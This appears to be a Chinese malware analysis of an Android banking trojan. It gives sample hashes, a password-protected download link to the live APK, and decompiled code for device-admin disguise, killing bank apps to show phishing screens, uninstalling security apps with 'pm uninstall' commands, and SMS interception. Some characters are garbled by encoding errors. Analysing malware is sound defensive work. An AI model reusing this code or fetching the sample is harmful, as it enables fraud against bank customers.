android病毒“銀行悍匪”獨家分析

(HostsAppend)Hosts文件編輯工具1.0免費版

• 類型：文件處理大�。�209KB語言：中文 評分：7.0
• 標簽：

立即下載

一、  病毒樣本基本信息

FileName: b5910a432d2b866e1028f31874edb32f .apk
File MD5: b5910a432d2b866e1028f31874edb32f

SHA1:0CEEB0A29AC4B24E1EFDD0F57ACFC64388CF5AC1

File Size: 829006 Byte

Package：langthing.nend   

Download：http://yunpan.cn/Q4qHuRLaNivtd    訪問密碼 3a90     解壓密碼：52pojie

// 該病毒首先偽裝成系統(tǒng)程序防止卸載；然后試著去卸載安全軟件；監(jiān)測各種銀行應用；對需要攔截短信的關鍵字進行了加密，增加了分析的難度；沒有MAIN和LAUNCHER組件,安裝后沒有圖標，防止用戶察覺到安裝了應用

二、  病毒代碼分析

查看AndroidManifest.xml配置文件，可以發(fā)現(xiàn)賦予了病毒非常多的權限，且是高危的權限，例如發(fā)送短信、撥打電話、讀取日志文件、重啟應用程序等等，且沒有MAIN和LAUNCHER組件

<manifest android:versionCode="1" android:versionName="1.1" package="langthing.nend"

  xmlns:android="http://schemas.android.com/apk/res/android">

    <uses-permission android:name="android.permission.RECEIVE_SMS" />  //接收短信

    <uses-permission android:name="android.permission.SEND_SMS" />      //發(fā)送短信

    <uses-permission android:name="android.permission.READ_SMS" />     //讀取短息

    <uses-permission android:name="android.permission.WRITE_SMS" />  //編輯短信

    <uses-permission android:name="android.permission.SEND_SMS" />

    <uses-permission android:name="android.permission.READ_CONTACTS" />    //讀取通訊錄

    <uses-permission android:name="android.permission.WRITE_SETTINGS" />   //讀取系統(tǒng)設置的數(shù)據(jù)庫權限

    <uses-permission android:name="android.permission.READ_LOGS" />           //讀取日志文件

    <uses-permission android:name="android.permission.WRITE_CONTACTS" />//編輯通訊錄聯(lián)系人

    <uses-permission android:name="android.permission.READ_PHONE_STATE" />//讀取電話狀態(tài)

    <uses-permission android:name="android.permission.CALL_PHONE" />         //撥打電話

    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />//接收開機信息

    <uses-permission android:name="android.permission.GET_TASKS" />  //獲取運行程序信息

<uses-permission android:name="android.permission.RESTART_PACKAGES" />//重啟應用程序

查看AndroidManifest.xml配置文件，可以發(fā)現(xiàn)當手機接收到TReceiver、eviceAdminReceiver、Alarmreceiver等組件時就會啟動程序

receiver android:name=".TReceiver">

            <intent-filter android:priority="2147483647">

                <action android:name="android.intent.action.BOOT_COMPLETED" />

            </intent-filter>

        </receiver>

        <receiver android:label="@string/app_name" android:name=".deviceAdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN">

            <meta-data android:name="android.app.device_admin" android:resource="@xml/device_admin" />

            <intent-filter>

                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />

            </intent-filter>

        </receiver>

        <receiver android:name=".Alarmreceiver">

            <intent-filter>

                <action android:name="arui.alarm.action" />

            </intent-filter>

        </receiver>

        <receiver android:name=".ShutdownReceiver">

            <intent-filter>

                <action android:name="android.intent.action.ACTION_SHUTDOWN" />

            </intent-filter>

惡意注入代碼的代碼樹如下：

 

當程序安裝后，會偽裝成系統(tǒng)程序，防止卸載。如圖：

 

查看langthing.nend.main偽裝成系統(tǒng)代碼如下：

private void b()

  {

    Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");

    localIntent.putExtra("android.app.extra.DEVICE_ADMIN", this.c);

    localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "------ android ------");  //  偽裝成系統(tǒng)應用

    startActivityForResult(localIntent, 1);

  }

當應用監(jiān)測到銀行客戶端啟動時，就會終止個銀行進程，并為工商銀行、淘寶等定制了高仿真“釣魚界面”

private void e()

  {

    ComponentName localComponentName = ((ActivityManager.RunningTaskInfo)p.getRunningTasks(1).get(0)).topActivity;

    ActivityManager localActivityManager = (ActivityManager)getSystemService("activity");

    String str = localComponentName.getClassName();

    if ((str.contains("gs.gs")) || (str.contains("js.js")) || (str.contains("jt.jt")) || (str.contains("tb.tb")) || (str.contains("dz.dz")))

    {

      if (a(getApplicationContext(), "com.icbc"))

        localActivityManager.restartPackage("com.icbc");

      if (a(getApplicationContext(), "com.chinamworld.main"))

        localActivityManager.restartPackage("com.chinamworld.main");

      if (a(getApplicationContext(), "com.bankcomm"))

        localActivityManager.restartPackage("com.bankcomm");

      if (a(getApplicationContext(), "com.taobao.taobao"))

        localActivityManager.restartPackage("com.taobao.taobao");

      if (a(getApplicationContext(), "com.android.bankabc"))

        localActivityManager.restartPackage("com.android.bankabc");

      if (a(getApplicationContext(), "cmb.pb"))

        localActivityManager.restartPackage("cmb.pb");

      if (a(getApplicationContext(), "com.rytong.bankgdb"))

        localActivityManager.restartPackage("com.rytong.bankgdb");

      if (a(getApplicationContext(), "com.cib.bankcib"))

        localActivityManager.restartPackage("com.cib.bankcib");

      if (a(getApplicationContext(), "com.rytong.bankps"))

        localActivityManager.restartPackage("com.rytong.bankps");

      if (a(getApplicationContext(), "cn.com.njcb.android.mobilebank"))

        localActivityManager.restartPackage("cn.com.njcb.android.mobilebank");

      if (a(getApplicationContext(), "com.ecitic.bank.mobile"))

        localActivityManager.restartPackage("com.ecitic.bank.mobile");

      if (a(getApplicationContext(), "com.cebbank.bankebb"))

        localActivityManager.restartPackage("com.cebbank.bankebb");

      if (a(getApplicationContext(), "cn.com.cmbc.mbank"))

        localActivityManager.restartPackage("cn.com.cmbc.mbank");

      if (a(getApplicationContext(), "cn.com.spdb.mobilebank.per"))

        localActivityManager.restartPackage("cn.com.spdb.mobilebank.per");

      if (a(getApplicationContext(), "com.pingan.pabank.activity"))

        localActivityManager.restartPackage("com.pingan.pabank.activity");

      if (a(getApplicationContext(), "com.gzrcb.mobilebank"))

        localActivityManager.restartPackage("com.gzrcb.mobilebank");

      if (a(getApplicationContext(), "cn.com.cqb.mobilebank.per"))

        localActivityManager.restartPackage("cn.com.cqb.mobilebank.per");

      if (a(getApplicationContext(), "com.chinamworld.bocmbci"))

        localActivityManager.restartPackage("com.chinamworld.bocmbci");

      if (a(getApplicationContext(), "com.rytong.app.bankhx"))

        localActivityManager.restartPackage("com.rytong.app.bankhx");

      if (a(getApplicationContext(), "com.csii.huzhou.mobilebank"))

        localActivityManager.restartPackage("com.csii.huzhou.mobilebank");

      if (a(getApplicationContext(), "cn.com.shbank.mper"))

        localActivityManager.restartPackage("cn.com.shbank.mper");

      if (a(getApplicationContext(), "com.rytong.bankqd"))

        localActivityManager.restartPackage("com.rytong.bankqd");

      if (a(getApplicationContext(), "com.tlbank"))

        localActivityManager.restartPackage("com.tlbank");

      if (a(getApplicationContext(), "com.sookin.scyh"))

        localActivityManager.restartPackage("com.sookin.scyh");

      if (a(getApplicationContext(), "cn.com.hzb.mobilebank.per"))

        localActivityManager.restartPackage("cn.com.hzb.mobilebank.per");

      if (a(getApplicationContext(), "com.chinamworld.klb"))

        localActivityManager.restartPackage("com.chinamworld.klb");

}

if (str.contains("icbc"))

    {

      Cursor localCursor27 = c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "gs" }, null, null, null);

      if ((localCursor27.moveToFirst()) && (localCursor27.getInt(localCursor27.getColumnIndex("jilu")) == 0))

      {

        localActivityManager.restartPackage("com.icbc");

        new Intent("android.intent.action.MAIN");

        Intent localIntent53 = new Intent("android.intent.action.MAIN");

        localIntent53.setFlags(268435456);

        localIntent53.addCategory("android.intent.category.HOME");

        startActivity(localIntent53);

        Intent localIntent54 = new Intent(getApplicationContext(), gs.class);

        localIntent54.setFlags(268435456);

        startActivity(localIntent54);

      }

    }

    if (str.contains("com.chinamworld.main"))

    {

      Cursor localCursor26 = c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "js" }, null, null, null);

      if ((localCursor26.moveToFirst()) && (localCursor26.getInt(localCursor26.getColumnIndex("jilu")) == 0))

      {

        localActivityManager.restartPackage("com.chinamworld.main");

        new Intent("android.intent.action.MAIN");

        Intent localIntent51 = new Intent("android.intent.action.MAIN");

        localIntent51.setFlags(268435456);

        localIntent51.addCategory("android.intent.category.HOME");

        startActivity(localIntent51);

        Intent localIntent52 = new Intent(getApplicationContext(), js.class);

        localIntent52.setFlags(268435456);

        startActivity(localIntent52);

      }

    }

    if (str.contains("bankcomm"))

    {

      Cursor localCursor25 = c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "jt" }, null, null, null);

      if ((localCursor25.moveToFirst()) && (localCursor25.getInt(localCursor25.getColumnIndex("jilu")) == 0))

      {

        localActivityManager.restartPackage("com.bankcomm");

        new Intent("android.intent.action.MAIN");

        Intent localIntent49 = new Intent("android.intent.action.MAIN");

        localIntent49.setFlags(268435456);

        localIntent49.addCategory("android.intent.category.HOME");

        startActivity(localIntent49);

        Intent localIntent50 = new Intent(getApplicationContext(), jt.class);

        localIntent50.setFlags(268435456);

        startActivity(localIntent50);

      }

    }

    if (str.contains("taobao"))

    {

      Cursor localCursor24 = c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "tb" }, null, null, null);

      if ((localCursor24.moveToFirst()) && (localCursor24.getInt(localCursor24.getColumnIndex("jilu")) == 0))

      {

        localActivityManager.restartPackage("com.taobao.taobao");

        new Intent("android.intent.action.MAIN");

        Intent localIntent47 = new Intent("android.intent.action.MAIN");

        localIntent47.setFlags(268435456);

        localIntent47.addCategory("android.intent.category.HOME");

        startActivity(localIntent47);

        Intent localIntent48 = new Intent(getApplicationContext(), tb.class);

        localIntent48.setFlags(268435456);

        startActivity(localIntent48);

      }

//  終止各銀行進程

查找安全軟件并卸載安全軟件

for (g = "Already root"; ; g = "NOroot")

   {

     this.C = 5;

     this.E = 5;

     this.B = new String[this.C];

     this.D = new String[this.E];

     this.B[0] = "pm uninstall com.qihoo360.mobilesafe";     //卸載360、騰訊、金山等相關的安全軟件

     this.B[1] = "pm uninstall com.tencent.qqpimsecure"; 

     this.B[2] = "pm uninstall com.ijinshan.mguard";       

     this.B[3] = "pm uninstall com.ijinshan.duba";           

     this.B[4] = "pm uninstall com.anguanjia.safe";

     this.D[0] = "com.qihoo360.mobilesafe";

     this.D[1] = "com.tencent.qqpimsecure";

     this.D[2] = "com.ijinshan.mguard";

     this.D[3] = "com.ijinshan.duba";

     this.D[4] = "com.anguanjia.safe";

     this.s = new o();

攔截相關短信：

f (i5 == 1)

          if ((server.f == 0) && (server.a != i3))

          {

            server.a(this.a, 1);

            server.b(this.a, i3);

            str4 = "接收";

            server.a(this.a, new o());

            String str5 = server.d(this.a).a(this.a.getApplicationContext());

            server.a(this.a, new n());

            server.g(this.a).a(this.a.getApplicationContext(), str2, str1, str5);

            localStringBuilder.append("[ ");

            localStringBuilder.append(str1 + ", ");

            localStringBuilder.append(i4 + ", ");

            localStringBuilder.append(str2 + ", ");

            localStringBuilder.append(str3 + ", ");

            localStringBuilder.append(str4);

            localStringBuilder.append(" ]\n\n");

            if (!localCursor1.isClosed())

              localCursor1.close();

          }

      }

      while (true)

      {

        localStringBuilder.append("getSmsInPhone has executed!");

        super.onChange(paramBoolean);

        return;

        server.f = 0;

        break;

        if (i5 != 2)

          break;

        if (server.b == i3)

          break label760;

        Cursor localCursor2 = server.c.a("send", null, null, null, null, null, "_id ASC");

        if (localCursor2.moveToFirst())

        {

          localCursor2.getColumnIndex("_id");

          int i6 = localCursor2.getColumnIndex("sSend");

          do

            server.a(this.a, localCursor2.getString(i6));

          while (localCursor2.moveToNext());

        }

        localCursor2.close();

        if (server.h(this.a).equals("1"))

        {

          server.a(this.a, new o());

          server.a(this.a, new n());

          String str6 = server.d(this.a).a(this.a.getApplicationContext());

          server.a(this.a, str2 + ";" + str1, str6);

        }

        server.b = i3;

        str4 = "發(fā)送";

        break;

        localStringBuilder.append("no result!");

      }

    }

    catch (SQLiteException localSQLiteException)

    {

      while (true)

      {

        continue;

        label760: String str4 = "null";

      }

    }

  }

}

解密密鑰：

public void a()

  {

    try

    {

      InputStream localInputStream = getAssets().open("unhi.db");     // 密鑰

      FileOutputStream localFileOutputStream = new FileOutputStream(this.q + "unhi.db");

      byte[] arrayOfByte = new byte[1024];

      while (true)

      {

        int i1 = localInputStream.read(arrayOfByte);

        if (i1 <= 0)

        {

          localFileOutputStream.flush();

          localFileOutputStream.close();

          localInputStream.close();

          return;

        }

        localFileOutputStream.write(arrayOfByte, 0, i1);

      }

    }

    catch (Exception localException)

    {

    }

  }

  public void a(String paramString)

  {

    if (!new File(paramString).exists())

      a();

  }

  public void c()

  {

    new l(this).start();

  }

  public IBinder onBind(Intent paramIntent)

  {

    return null;

  }

  public void onCreate()

  {

    this.u = new e();

    IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");

    localIntentFilter.setPriority(2147483647);

    registerReceiver(this.u, localIntentFilter);

    p = (ActivityManager)getSystemService("activity");

    this.F = 0;

this.j = false;

b(this.s.a(getApplicationContext()), "201305:" + g + ";ver:" + Build.VERSION.RELEASE + ";Model:" + Build.MODEL);

      this.q = (getApplicationContext().getFilesDir().getAbsolutePath() + "/");

      a(this.q + "unhi.db");

      c = new a(this, getApplicationContext().getFilesDir().getAbsolutePath() + "/unhi.db", null, 1);

      m localm = new m(this, new Handler());

      getContentResolver().registerContentObserver(Uri.parse("content://sms/"), true, localm);

      Intent localIntent = new Intent(getApplicationContext(), log.class);

      localIntent.setFlags(268435456);

      startService(localIntent);

三、  總結

該病毒嘗試著去卸載安全軟件；采用了加密技術，增加了分析難度；并隱藏運行界面，防止用戶察覺。可以看出移動安全問題越演越烈，且手段越來越高明，增加了分析難度。

// 由于本人對于密碼學方面還沒有Hello World的水平，所以無法解密相關信息，水平有限。